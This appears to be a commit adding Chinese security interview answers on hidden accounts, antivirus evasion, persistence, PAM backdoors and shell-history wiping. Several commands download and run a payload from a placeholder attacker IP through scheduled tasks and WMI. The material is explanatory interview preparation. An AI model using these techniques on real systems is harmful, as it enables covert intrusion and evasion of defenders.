Web View
This commit is contained in:
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,86 @@
|
||||
### 怎么建立隐藏用户
|
||||
|
||||
### **1. Windows 系统**
|
||||
|
||||
在 Windows 中,隐藏用户通常有两种实现方式
|
||||
|
||||
**1.1 使用 `$` 符号创建隐藏账户**
|
||||
|
||||
这是最简单也是最常见的方法,主要用于在命令行中隐藏用户
|
||||
|
||||
- **原理**: Windows 系统的设计中,以 `$` 结尾的账户名被视为“计算机账户”,通常用于系统或服务之间通信。这些账户默认在 `net user` 命令的列表中不显示
|
||||
|
||||
- **操作步骤**:
|
||||
|
||||
1. 使用管理员权限打开命令提示符(`cmd`)或 PowerShell
|
||||
|
||||
2. 执行以下命令创建账户:
|
||||
|
||||
```cmd
|
||||
net user username$ password /add
|
||||
```
|
||||
|
||||
3. 将该账户添加到管理员组,赋予其更高权限:
|
||||
|
||||
```cmd
|
||||
net localgroup Administrators username$ /add
|
||||
```
|
||||
|
||||
- **如何查看**: 虽然 `net user` 看不到,但这个账户仍然存在于系统中。你可以通过以下方式查看:
|
||||
|
||||
- `wmic useraccount where "name like '%'" get name,sid`
|
||||
- 通过注册表编辑器查看 `HKEY_LOCAL_MACHINE\SAM\SAM`(需要特殊权限)
|
||||
|
||||
**1.2 通过修改注册表隐藏账户**
|
||||
|
||||
这是一个更高级、更隐蔽的方法,可以让账户不出现在登录界面和常规用户列表中
|
||||
|
||||
- **原理**: Windows 通过注册表的一个特定键值来控制哪些用户账户在登录界面显示。通过修改这个键值,可以隐藏任何账户
|
||||
|
||||
- **操作步骤**:
|
||||
|
||||
1. 首先创建一个普通用户账户并赋予权限:
|
||||
|
||||
```
|
||||
net user testuser password /add
|
||||
net localgroup Administrators testuser /add
|
||||
```
|
||||
|
||||
2. 打开注册表编辑器(`regedit`),定位到以下路径:
|
||||
|
||||
```
|
||||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
|
||||
```
|
||||
|
||||
3. 在 `UserList` 键下,右键单击并选择**新建 -> DWORD (32位) 值**
|
||||
|
||||
4. 将新建的值命名为你要隐藏的账户名,例如 `testuser`
|
||||
|
||||
5. 默认情况下,这个 DWORD 值为 `0`,这正好可以隐藏该账户
|
||||
|
||||
- **如何查看**: 这个账户在登录界面和常规用户列表中都看不见。只有通过命令行、`wmic` 或直接在注册表中查看才能发现其存在
|
||||
|
||||
**2. Linux 系统**
|
||||
|
||||
在 Linux 中,隐藏用户的方式主要依赖于其账户管理机制
|
||||
|
||||
**2.1 创建一个 UID 小于 1000 的账户**
|
||||
|
||||
- **原理**: 许多 Linux 系统管理工具(如 `useradd` 的默认行为、`passwd` 文件浏览器)都约定俗成地只显示 UID 大于或等于 1000 的账户,将 UID 小于 1000 的账户视为系统服务账户
|
||||
|
||||
- **操作步骤**:
|
||||
|
||||
1. 使用 `useradd` 命令创建账户时,指定一个低于 1000 的 UID:
|
||||
|
||||
```bash
|
||||
useradd -u 999 -s /bin/bash -m testuser
|
||||
passwd testuser
|
||||
```
|
||||
|
||||
2. 赋予其管理员权限:
|
||||
|
||||
```bash
|
||||
usermod -aG sudo testuser
|
||||
```
|
||||
|
||||
- **如何查看**: 这个账户可以通过 `cat /etc/passwd` 看到,但许多工具不会在用户列表中显示它
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,32 @@
|
||||
### 360 开启了晶核模式,怎么去尝试权限维持
|
||||
|
||||
**1. 放弃传统方法,转向无文件和内存驻留**
|
||||
|
||||
在晶核模式下,任何涉及到文件落地、注册表写入、服务创建的传统权限维持方法都极有可能被拦截。因此,我们的核心思想是:**不落地、不留痕、内存驻留**
|
||||
|
||||
- **无文件攻击**:避免将任何可执行文件(`.exe`、`.dll`)写入磁盘。所有的恶意代码都应该通过 PowerShell、C# 或其他脚本语言在内存中运行
|
||||
- **内存驻留**:将恶意代码注入到合法的、白名单内的进程中,如 `svchost.exe`、`explorer.exe` 等。这样,恶意代码就可以利用合法进程的信任度来绕过安全软件的监控
|
||||
- **使用 PowerShell 或 C#**:利用 PowerShell 的反射式加载(Reflective Loading)技术,可以直接在内存中执行 .NET 程序集。360 晶核模式对 PowerShell 脚本的监控非常严格,因此需要使用混淆、加密等技术来绕过其行为分析
|
||||
|
||||
**2. 利用系统自带的合法进程和功能**
|
||||
|
||||
晶核模式的核心是识别恶意行为,而不是简单地拦截所有操作。因此,我们可以利用那些系统自带的、360 无法或不敢拦截的合法进程来执行我们的恶意代码
|
||||
|
||||
- **利用 `COM` 或 `WMI`**:Windows Management Instrumentation (WMI) 和 Component Object Model (COM) 是系统核心组件,它们允许本地和远程执行代码。许多安全软件无法直接拦截这些操作,因为这可能会导致系统功能异常
|
||||
- 你可以通过 `WMI` 在目标机器上**远程执行代码**,而无需将可执行文件写入磁盘。这种方法非常隐蔽,因为 `WMI` 流量是合法的
|
||||
- 通过 `COM` 组件,你可以利用那些具有特权的 COM 对象,执行一些平时受限的操作
|
||||
- **利用计划任务(Scheduled Tasks)**:虽然创建新的计划任务可能会被晶核模式拦截,但你可以尝试修改已有的、合法的计划任务
|
||||
- **命令**:`schtasks`
|
||||
- **思路**:找到一个不显眼的、定期执行的系统任务,然后修改它的执行命令,让它执行你的无文件后门例如,你可以让它定时执行一个 PowerShell 脚本,该脚本从网络上下载并执行恶意代码
|
||||
- **利用 `runas` 或其他 Windows API**:如果可以拿到高权限,可以尝试利用 `runas` 或类似的 API 来启动一个拥有更高权限的新进程,然后将恶意代码注入到新进程中
|
||||
|
||||
**3. 持久化技巧**
|
||||
|
||||
在权限维持方面,可以考虑以下几种高级技巧:
|
||||
|
||||
- **DLL 劫持**:找到一个启动时会加载 DLL 的合法程序,并将一个恶意的 DLL 文件放置在它会寻找的路径中。当程序启动时,它会加载你的恶意 DLL,从而执行你的代码
|
||||
- **晶核模式的挑战**:晶核模式通常会阻止未签名的 DLL 加载到敏感进程中,因此你需要找到一个没有签名检查的合法程序,或者你的 DLL 需要经过特殊处理
|
||||
- **COM 劫持**:攻击者可以修改 Windows 注册表中的 COM 组件路径,将合法的 COM 组件替换为恶意的。当应用程序调用这个组件时,就会执行恶意代码
|
||||
- **晶核模式的挑战**:晶核模式会对注册表中的关键键值进行监控,因此这种方法需要非常小心,或者找到一个未被监控的注册表键
|
||||
- **利用驱动程序**:这是最高级的权限维持方法,但难度也最大。你可以尝试加载一个恶意的内核驱动程序。内核驱动拥有最高的权限,可以绕过几乎所有的用户态安全防护
|
||||
- **晶核模式的挑战**:360 晶核模式的核心就是内核级防护,它会严格检查所有加载的驱动程序。如果你没有一个经过微软签名的驱动程序,很难成功
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,86 @@
|
||||
### 计划任务被拦截了怎么办
|
||||
|
||||
**1. 放弃创建,寻找修改或利用已有的计划任务**
|
||||
|
||||
安全软件通常只监控**创建新任务**的行为,但可能不会对**修改已有任务**的行为进行强拦截,尤其是那些系统或合法程序创建的计划任务
|
||||
|
||||
- **攻击原理**:找到一个不显眼的、定期执行的、且权限足够高的系统任务,然后修改它的执行命令,让它在执行原有任务的同时,也执行你的恶意代码
|
||||
|
||||
- **操作步骤**:
|
||||
|
||||
1. **信息收集**:首先,使用 `schtasks /query /fo list /v` 命令来列出所有已有的计划任务。你需要关注以下几点:
|
||||
|
||||
- **任务名称**:寻找那些看起来合法、不引人注意的任务,例如与系统更新、日志清理相关的任务
|
||||
- **执行账户**:寻找那些以 `SYSTEM` 或 `Administrator` 权限运行的任务
|
||||
- **触发器**:了解任务的触发频率(例如每天、每周)
|
||||
|
||||
2. **修改任务**:使用 `schtasks /change` 命令来修改任务的执行命令
|
||||
|
||||
```powershell
|
||||
# 示例:修改一个名为“Microsoft\Windows\Defrag\ScheduledDefrag”的合法任务
|
||||
schtasks /change /tn "Microsoft\Windows\Defrag\ScheduledDefrag" /tr "powershell.exe -c \"iwr http://<攻击机IP>/shell.ps1 -OutFile C:\temp\shell.ps1; Start-Process C:\temp\shell.ps1\""
|
||||
```
|
||||
|
||||
- **优点**:这种方法利用了合法任务的“信任”,行为更加隐蔽,不容易被安全软件识别为恶意创建行为
|
||||
|
||||
**2. 利用启动项或服务进行权限维持**
|
||||
|
||||
如果计划任务的路走不通,启动项和服务是另一个值得尝试的切入点
|
||||
|
||||
- **利用注册表启动项**:许多应用程序都通过注册表键值来实现开机自启动。安全软件可能会监控这些键值的创建,但你可以尝试修改一些不那么敏感的键值
|
||||
|
||||
- **常见路径**:
|
||||
|
||||
- `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run`
|
||||
- `HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run`
|
||||
|
||||
- **操作步骤**:
|
||||
|
||||
```powershell
|
||||
# 在注册表Run键中添加一个启动项
|
||||
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "MyUpdater" /t REG_SZ /d "C:\Users\Public\payload.exe" /f
|
||||
```
|
||||
|
||||
- **缺点**:这种方法非常常见,很容易被安全软件拦截。你需要使用更隐蔽的键值或利用无文件方式
|
||||
|
||||
- **利用服务**:Windows 服务可以以高权限运行,并且可以配置为开机自启动
|
||||
|
||||
- **操作步骤**:
|
||||
|
||||
```powershell
|
||||
# 创建一个新的服务
|
||||
sc create MyService binPath= "C:\Users\Public\payload.exe" start= auto
|
||||
# 启动服务
|
||||
sc start MyService
|
||||
```
|
||||
|
||||
- **缺点**:创建新服务同样是一个非常敏感的操作,几乎所有的安全软件都会进行拦截
|
||||
|
||||
**3. 使用无文件和内存驻留技术**
|
||||
|
||||
这是在高级防护环境下最有效的权限维持方法,因为它完全绕过了文件系统和注册表的监控
|
||||
|
||||
- **DLL 劫持**:找到一个经常被合法程序调用的、但路径可写的 DLL 文件,将你的恶意代码注入到这个 DLL 中
|
||||
|
||||
- **操作步骤**:
|
||||
1. 找到一个合法程序(例如 `c:\Program Files\Google\Chrome\Application\chrome.exe`)启动时会去加载的 DLL
|
||||
2. 将你自己的恶意 DLL 文件命名为相同的名字,并放置在程序会优先寻找的路径中。
|
||||
3. 当用户启动这个程序时,你的恶意 DLL 就会被加载并执行,从而实现权限维持
|
||||
- **优点**:这种方法非常隐蔽,因为执行的是合法程序,绕过了许多行为监控
|
||||
|
||||
- **WMI/COM 持久化**:利用 Windows Management Instrumentation (WMI) 或 Component Object Model (COM) 实现持久化
|
||||
|
||||
- **原理**:你可以创建一个 WMI 事件订阅,当某个特定事件发生时(例如系统启动),自动触发执行你的恶意代码
|
||||
|
||||
- **操作步骤**:
|
||||
|
||||
```powershell
|
||||
# 创建一个WMI事件过滤器,当系统启动时触发
|
||||
$filter = New-CimInstance -Namespace root/subscription -ClassName __EventFilter -Property @{QueryLanguage="WQL"; Query="SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'notepad.exe'"} -ErrorAction Stop
|
||||
# 创建一个WMI事件消费者,执行你的恶意代码
|
||||
$consumer = New-CimInstance -Namespace root/subscription -ClassName CommandLineEventConsumer -Property @{Name="myconsumer"; CommandLineTemplate="powershell.exe -c 'iwr http://<攻击机IP>/shell.ps1|iex'"} -ErrorAction Stop
|
||||
# 将过滤器和消费者绑定
|
||||
$binding = New-CimInstance -Namespace root/subscription -ClassName __FilterToConsumerBinding -Property @{Filter=$filter; Consumer=$consumer} -ErrorAction Stop
|
||||
```
|
||||
|
||||
- **优点**:这是最高级的无文件持久化技术,非常难以被检测
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,76 @@
|
||||
### 说说 PAM 软连接提权 / 后门原理
|
||||
|
||||
**一、PAM 软连接提权的核心原理**
|
||||
|
||||
PAM 软连接提权攻击并非针对 PAM 框架本身的漏洞,而是针对**某个依赖 PAM 进行认证或配置的**、**以高权限运行的服务或程序**
|
||||
|
||||
**1. 提权攻击的三个关键要素**
|
||||
|
||||
| 要素 | 描述 |
|
||||
| ---------------------------- | ------------------------------------------------------------ |
|
||||
| **高权限写入操作** | 存在一个以 **Root 或其他高权限用户** 身份运行的服务或程序,它会在特定时刻对某个文件执行 **写入**、**创建** 或 **修改** 操作 |
|
||||
| **可预测或可控制的文件路径** | 这个高权限程序操作的文件路径是 **可预测的**,或者攻击者可以 **控制** 该程序操作的路径(例如,写入一个日志文件或临时文件) |
|
||||
| **软连接(Symlink)** | 攻击者在程序操作之前,用一个 **软连接** 替换掉预期的目标文件。这个软连接指向攻击者希望修改的 **敏感系统文件**(如 `/etc/passwd`、`/etc/shadow` 或 PAM 配置文件本身) |
|
||||
|
||||
|
||||
|
||||
**2. PAM 相关的攻击流程**
|
||||
|
||||
PAM 相关的软连接提权通常发生在以下场景:
|
||||
|
||||
1. **低权限用户**发现一个**高权限程序**(例如,一个系统服务、一个设置工具,甚至某些 `sudo` 配置允许的命令)在运行时,会以 **高权限**身份在某个**可预测的**路径下创建一个**临时文件**或**日志文件**
|
||||
|
||||
2. 攻击者通过以下步骤发起攻击:
|
||||
|
||||
- **步骤 1:删除/准备**:确保目标临时文件(例如 `/var/tmp/service.log`)不存在,或者可以被低权限用户删除
|
||||
|
||||
- **步骤 2:创建软连接**:在临时文件的位置,**创建一个软连接**,将其指向受保护的敏感文件,例如 `/etc/passwd` 或 `/etc/shadow`
|
||||
|
||||
```bash
|
||||
# 假设高权限程序会写入 /tmp/privileged_log.txt
|
||||
ln -sf /etc/shadow /tmp/privileged_log.txt
|
||||
```
|
||||
|
||||
- **步骤 3:触发高权限操作**:攻击者触发那个高权限程序运行
|
||||
|
||||
- **步骤 4:欺骗成功**:高权限程序启动后,尝试以**Root 权限**写入 `/tmp/privileged_log.txt`。但由于软连接的存在,程序实际上将数据写入了**/etc/shadow**(或 `/etc/passwd`)
|
||||
|
||||
3. **最终结果**:攻击者成功地以 Root 权限修改了敏感系统文件,例如在 `/etc/shadow` 中插入了一个新的、拥有 Root 权限的账户或修改了现有账户的密码哈希,从而实现提权
|
||||
|
||||
**二、PAM 软连接后门原理**
|
||||
|
||||
PAM 软连接提权是利用**文件操作**的缺陷;而 PAM 后门则更直接地针对**PAM 的配置和模块加载机制**
|
||||
|
||||
PAM 的灵活性允许系统管理员通过修改**/etc/pam.d/**目录下的配置文件,来控制每个应用程序(如 `sshd`、`login`、`sudo`)如何进行认证、账户管理、会话启动等
|
||||
|
||||
PAM 后门的核心原理就是:**修改 PAM 配置文件,或将恶意 PAM 模块植入到配置中**
|
||||
|
||||
**1. 恶意 PAM 模块植入**
|
||||
|
||||
这是最常见的 PAM 后门方式,一旦成功,**任何**经过被修改的 PAM 服务的认证都将被记录或绕过
|
||||
|
||||
1. **编写恶意模块**:攻击者编写一个恶意的 PAM 模块(一个 `.so` 文件,例如 `pam_evil.so`)
|
||||
|
||||
- 该模块可以实现**无密码登录**(即始终返回 `PAM_SUCCESS`)
|
||||
- 或实现**凭证记录**(将输入的用户名和密码记录到攻击者可访问的文件中)
|
||||
|
||||
2. **植入配置**:如果攻击者已经以某种方式获得了 Root 权限(例如通过前面提到的软连接提权),他们会修改目标服务的 PAM 配置文件(例如 `/etc/pam.d/sshd`):
|
||||
|
||||
```bash
|
||||
# /etc/pam.d/sshd 示例 (被修改后)
|
||||
auth required pam_permit.so
|
||||
# 在这里插入恶意模块
|
||||
auth sufficient /lib/security/pam_evil.so debug
|
||||
# ... 其他行
|
||||
```
|
||||
|
||||
3. **结果**:当用户通过 SSH 登录时,PAM 框架加载 `pam_evil.so`。如果该模块被配置为 `sufficient`,它将立即返回成功,允许攻击者或任何指定用户以该模块设定的方式(例如,使用任何密码)登录系统
|
||||
|
||||
**2. 软连接在后门中的应用**
|
||||
|
||||
软连接提权可以作为 **实现 PAM 后门** 的 **前置步骤**
|
||||
|
||||
如果攻击者发现某个高权限程序会写入一个文件,且该文件路径位于 `/etc/pam.d/` 目录附近或 `/lib/security/` 目录下(PAM 模块的常见存放位置),攻击者就可以利用软连接欺骗该高权限程序,将:
|
||||
|
||||
- 恶意 PAM 模块(`.so` 文件)写入 `/lib/security/` 目录
|
||||
- 或者修改 `/etc/pam.d/` 下的某个服务配置文件
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,32 @@
|
||||
### 如何不记录执行命令
|
||||
|
||||
**1. 临时禁用历史记录**
|
||||
|
||||
在执行敏感操作之前,你可以临时修改或禁用 Shell 记录机制:
|
||||
|
||||
| 方法 | 命令示例 | 效果和原理 |
|
||||
| ------------------------ | --------------------------- | ------------------------------------------------------------ |
|
||||
| **清除环境变量** | `unset HISTFILE` | **临时移除** 历史文件路径变量。Shell 将无法找到写入历史记录的文件,操作期间的命令不会被记录 |
|
||||
| **清空历史缓冲区** | `history -c` | 清除当前 Shell 会话 **内存中** 的历史记录缓冲区。在会话结束前执行可确保本次命令不写入文件 |
|
||||
| **设置历史记录大小为零** | `export HISTSIZE=0` | 将 Shell 内存中可存储的历史命令数量设置为 `0`。如果执行此操作,当前会话中的命令将不会被记录 |
|
||||
| **组合使用(推荐)** | `export HISTFILE=/dev/null` | 将历史文件重定向到 `/dev/null`(黑洞文件)。这样,所有的历史记录输出都会被丢弃,不会写入任何可追踪的文件 |
|
||||
|
||||
**操作流程:**
|
||||
|
||||
1. 进入 Shell 后执行:`export HISTFILE=/dev/null`
|
||||
2. 执行你的权限维持命令(例如:植入后门、修改配置)
|
||||
3. 操作完成后,退出 Shell 或执行 `unset HISTFILE` 恢复正常环境
|
||||
|
||||
**2. 使用空格或特殊字符**
|
||||
|
||||
Bash Shell 默认有一个配置变量 **`HISTCONTROL`**。如果它被设置为 `ignorespace`(或包含该值,这也是许多发行版的默认设置),那么在命令前面加一个空格,该命令就不会被写入历史文件
|
||||
|
||||
- **执行示例:**
|
||||
|
||||
```bash
|
||||
# 注意,这里的每个命令前都有一个空格
|
||||
ls -la
|
||||
export PATH=/tmp:$PATH
|
||||
```
|
||||
|
||||
- **注意:** 如果 `HISTCONTROL` 被设置为 `ignoreboth`,则包含空格和重复的命令都会被忽略
|
||||
@@ -0,0 +1,20 @@
|
||||
# 网安面试题(涵盖护网、红队、逆向、二进制)
|
||||
|
||||
上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!!
|
||||
|
||||
HR:请问…………
|
||||
|
||||
我:叽里咕噜说啥呢,看看八股文上写了没
|
||||
|
||||
(Summary.md 是目录噢!!)
|
||||
|
||||
**🙏 特别感谢名单**
|
||||
|
||||
在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后)
|
||||
|
||||
- **@用户名1** —— 提供了大量安全面试题方向的补充
|
||||
- **@用户名2** —— 纠正了多个问题的答案与表述
|
||||
- **@用户名3** —— 贡献了真实面试题经验分享
|
||||
- **@用户名4** —— 对内容结构与目录提出改进建议
|
||||
|
||||
如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字
|
||||
File diff suppressed because it is too large
Load Diff
Reference in New Issue
Block a user